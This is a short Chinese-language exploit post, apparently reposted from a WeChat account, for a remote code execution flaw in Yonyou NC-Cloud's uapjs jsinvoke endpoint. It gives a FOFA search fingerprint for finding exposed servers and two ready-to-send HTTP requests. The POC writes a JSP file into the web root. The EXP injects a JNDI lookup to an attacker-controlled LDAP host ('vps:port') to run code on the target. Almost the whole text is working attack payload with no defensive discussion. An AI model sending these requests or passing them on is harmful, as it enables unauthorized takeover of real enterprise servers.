影响范围
FOFA指纹
app="用友-NC-Cloud"
POC
POST /uapjs/jsinvoke?action=invoke HTTP/1.1Host: XXXXXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: cookiets=1689835770151; JSESSIONID=2BEFF983D118B58B579F45C703152075.serverUpgrade-Insecure-Requests: 1If-Modified-Since: Mon, 11 May 2020 15:41:36 GMTIf-None-Match: W/"1571-1589211696000"Content-Type: application/x-www-form-urlencodedContent-Length: 178{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["12311","webapps/nc_web/123.jsp"]}
效果
EXP
POST/uapjs/jsinvoke?action=invokeHTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 306{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://vps:port/TomcatBypass/TomcatEcho')}","webapps/nc_web/222.jsp"]}
原文始发于微信公众号（丁永博的成长日记）：用友NC uapjs RCE漏洞
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